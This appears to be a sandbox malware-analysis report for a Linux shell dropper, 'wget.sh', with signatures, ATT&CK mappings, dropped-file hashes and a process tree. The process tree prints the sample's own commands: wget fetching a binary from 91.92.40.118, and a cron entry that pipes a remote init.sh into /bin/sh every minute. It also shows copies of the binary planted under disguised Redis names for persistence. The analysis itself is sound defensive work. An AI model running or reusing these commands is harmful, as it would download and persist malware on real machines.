Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    53s
  • max time network
    141s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/07/2026, 11:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260711-nlfhbsbs21
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 1 IoCs
    persistence
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:1489
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:1490
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:1498
    • /tmp/.k
      /tmp/.k
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Creates/modifies environment variables
      • Enumerates active TCP sockets
      • Modifies init.d
      • Modifies systemd
      • Reads MAC address of network interface
      • Modifies Bash startup script
      • Reads process memory
      • Changes its process name
      • Checks CPU configuration
      • Reads system network configuration
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1499
      • /bin/sh
        sh -c "/bin/systemctl daemon-reload 2>/dev/null"
        3⤵
          PID:1504
          • /bin/systemctl
            /bin/systemctl daemon-reload
            4⤵
            • Reads runtime system information
            PID:1505
        • /bin/sh
          sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
          3⤵
            PID:1526
            • /bin/systemctl
              /bin/systemctl enable --now redis-sentinel.service
              4⤵
                PID:1527
            • /bin/sh
              sh -c "/usr/bin/crontab -l 2>/dev/null"
              3⤵
                PID:1549
                • /usr/bin/crontab
                  /usr/bin/crontab -l
                  4⤵
                    PID:1550
                • /bin/sh
                  sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1501 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                  3⤵
                    PID:1551
                    • /usr/bin/crontab
                      /usr/bin/crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1552
                  • /bin/sh
                    sh -c "update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-f38w defaults 2>/dev/null"
                    3⤵
                      PID:1553
                      • /usr/sbin/update-rc.d
                        update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-f38w defaults
                        4⤵
                          PID:1554
                      • /bin/sh
                        sh -c "cp -f '/tmp/.k' '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-84on' 2>/dev/null; chmod +x '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-84on' 2>/dev/null"
                        3⤵
                        • File and Directory Permissions Modification
                        PID:1555
                        • /bin/cp
                          cp -f /tmp/.k "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-84on"
                          4⤵
                          • Write file to user bin folder
                          • Reads runtime system information
                          PID:1556
                        • /bin/chmod
                          chmod +x "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-84on"
                          4⤵
                          • File and Directory Permissions Modification
                          PID:1557
                      • /bin/sh
                        sh -c "cp -f '/tmp/.k' '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5ivi' 2>/dev/null; chmod +x '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5ivi' 2>/dev/null"
                        3⤵
                        • File and Directory Permissions Modification
                        PID:1558
                        • /bin/cp
                          cp -f /tmp/.k "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5ivi"
                          4⤵
                          • Write file to user bin folder
                          PID:1559
                        • /bin/chmod
                          chmod +x "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-5ivi"
                          4⤵
                          • File and Directory Permissions Modification
                          PID:1560
                      • /bin/sh
                        sh -c "cp -f '/tmp/.k' '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-emnb' 2>/dev/null; chmod +x '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-emnb' 2>/dev/null"
                        3⤵
                        • File and Directory Permissions Modification
                        PID:1561
                        • /bin/cp
                          cp -f /tmp/.k "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-emnb"
                          4⤵
                            PID:1562
                          • /bin/chmod
                            chmod +x "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-emnb"
                            4⤵
                            • File and Directory Permissions Modification
                            PID:1563
                        • /bin/sh
                          sh -c "cp -f '/tmp/.k' '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vqlc' 2>/dev/null; chmod +x '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vqlc' 2>/dev/null"
                          3⤵
                          • File and Directory Permissions Modification
                          PID:1564
                          • /bin/cp
                            cp -f /tmp/.k "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vqlc"
                            4⤵
                              PID:1565
                            • /bin/chmod
                              chmod +x "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vqlc"
                              4⤵
                              • File and Directory Permissions Modification
                              PID:1566
                          • /bin/sh
                            sh -c "cp -f '/tmp/.k' '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vgns' 2>/dev/null; chmod +x '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vgns' 2>/dev/null"
                            3⤵
                            • File and Directory Permissions Modification
                            PID:1567
                            • /bin/cp
                              cp -f /tmp/.k "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vgns"
                              4⤵
                                PID:1568
                              • /bin/chmod
                                chmod +x "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-vgns"
                                4⤵
                                • File and Directory Permissions Modification
                                PID:1569
                            • /bin/sh
                              sh -c "cp -f '/tmp/.k' '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2wzh' 2>/dev/null; chmod +x '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2wzh' 2>/dev/null"
                              3⤵
                              • File and Directory Permissions Modification
                              PID:1570
                              • /bin/cp
                                cp -f /tmp/.k "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2wzh"
                                4⤵
                                • Writes file to tmp directory
                                PID:1571
                              • /bin/chmod
                                chmod +x "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2wzh"
                                4⤵
                                • File and Directory Permissions Modification
                                PID:1572
                            • /bin/sh
                              sh -c "cp -f '/tmp/.k' '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-wpw5' 2>/dev/null; chmod +x '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-wpw5' 2>/dev/null"
                              3⤵
                              • File and Directory Permissions Modification
                              PID:1573
                              • /bin/cp
                                cp -f /tmp/.k "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-wpw5"
                                4⤵
                                • Writes file to shm directory
                                PID:1574
                              • /bin/chmod
                                chmod +x "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-wpw5"
                                4⤵
                                • File and Directory Permissions Modification
                                PID:1575

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Scheduled Task/Job

                              1
                              T1053

                              Cron

                              1
                              T1053.003

                              Persistence

                              Boot or Logon Autostart Execution

                              3
                              T1547

                              XDG Autostart Entries

                              1
                              T1547.013

                              Boot or Logon Initialization Scripts

                              1
                              T1037

                              RC Scripts

                              1
                              T1037.004

                              Create or Modify System Process

                              1
                              T1543

                              Systemd Service

                              1
                              T1543.002

                              Event Triggered Execution

                              1
                              T1546

                              Unix Shell Configuration Modification

                              1
                              T1546.004

                              Hijack Execution Flow

                              1
                              T1574

                              Path Interception by PATH Environment Variable

                              1
                              T1574.007

                              Scheduled Task/Job

                              1
                              T1053

                              Cron

                              1
                              T1053.003

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              3
                              T1547

                              XDG Autostart Entries

                              1
                              T1547.013

                              Boot or Logon Initialization Scripts

                              1
                              T1037

                              RC Scripts

                              1
                              T1037.004

                              Create or Modify System Process

                              1
                              T1543

                              Systemd Service

                              1
                              T1543.002

                              Event Triggered Execution

                              1
                              T1546

                              Unix Shell Configuration Modification

                              1
                              T1546.004

                              Hijack Execution Flow

                              1
                              T1574

                              Path Interception by PATH Environment Variable

                              1
                              T1574.007

                              Scheduled Task/Job

                              1
                              T1053

                              Cron

                              1
                              T1053.003

                              Defense Evasion

                              File and Directory Permissions Modification

                              1
                              T1222

                              Linux and Mac File and Directory Permissions Modification

                              1
                              T1222.002

                              Hijack Execution Flow

                              1
                              T1574

                              Path Interception by PATH Environment Variable

                              1
                              T1574.007

                              Impair Defenses

                              1
                              T1562

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              System Checks

                              1
                              T1497.001

                              Credential Access

                              OS Credential Dumping

                              1
                              T1003

                              Proc Filesystem

                              1
                              T1003.007

                              Discovery

                              System Information Discovery

                              1
                              T1082

                              System Network Configuration Discovery

                              2
                              T1016

                              Internet Connection Discovery

                              1
                              T1016.001

                              Wi-Fi Discovery

                              1
                              T1016.002

                              System Network Connections Discovery

                              2
                              T1049

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              System Checks

                              1
                              T1497.001

                              Lateral Movement

                              Collection

                              Command and Control

                              Exfiltration

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              redis-server redis-sentinel redis-cli rdb-check aof-rewrite-f38w
                              • Path /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-f38w
                              • Size 476B
                              • SHA256 f6538055816a6c8228e556780d0f64f5196729804a2cbaf041758593974b5c09
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              redis-server redis-sentinel redis-cli rdb-check aof-rewrite-zjuh.sh
                              • Path /etc/profile.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-zjuh.sh
                              • Size 176B
                              • SHA256 9e7ac78efcd3da577a8a281f96fe5176f6be5dd1c2949defff87571b7042ae22
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              redis-sentinel.service
                              • Path /etc/systemd/system/redis-sentinel.service
                              • Size 342B
                              • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              .k
                              • Path /tmp/.k
                              • Size 287KB
                              • SHA256 46cfad24a61fd8087b5c28c438e8cee7b42f0bfeb471d55e0a5d3e2f14b070cb
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              .redis-server.pid
                              • Path /tmp/.redis-server.pid
                              • Size 4B
                              • SHA256 3873ecf4855ce373db4b7afc32fe5884d984d37a32c2c605065671d3eed825d4
                              • MD5 SHA1 SHA512
                              Submit Download

                              tmp.wdtOIU
                              • Path /var/spool/cron/crontabs/tmp.wdtOIU
                              • Size 341B
                              • SHA256 c6d80b2c9ae3b5b5e2a366d02bd3e5a52716397cb1dc7075c168a815b6e1ef80
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download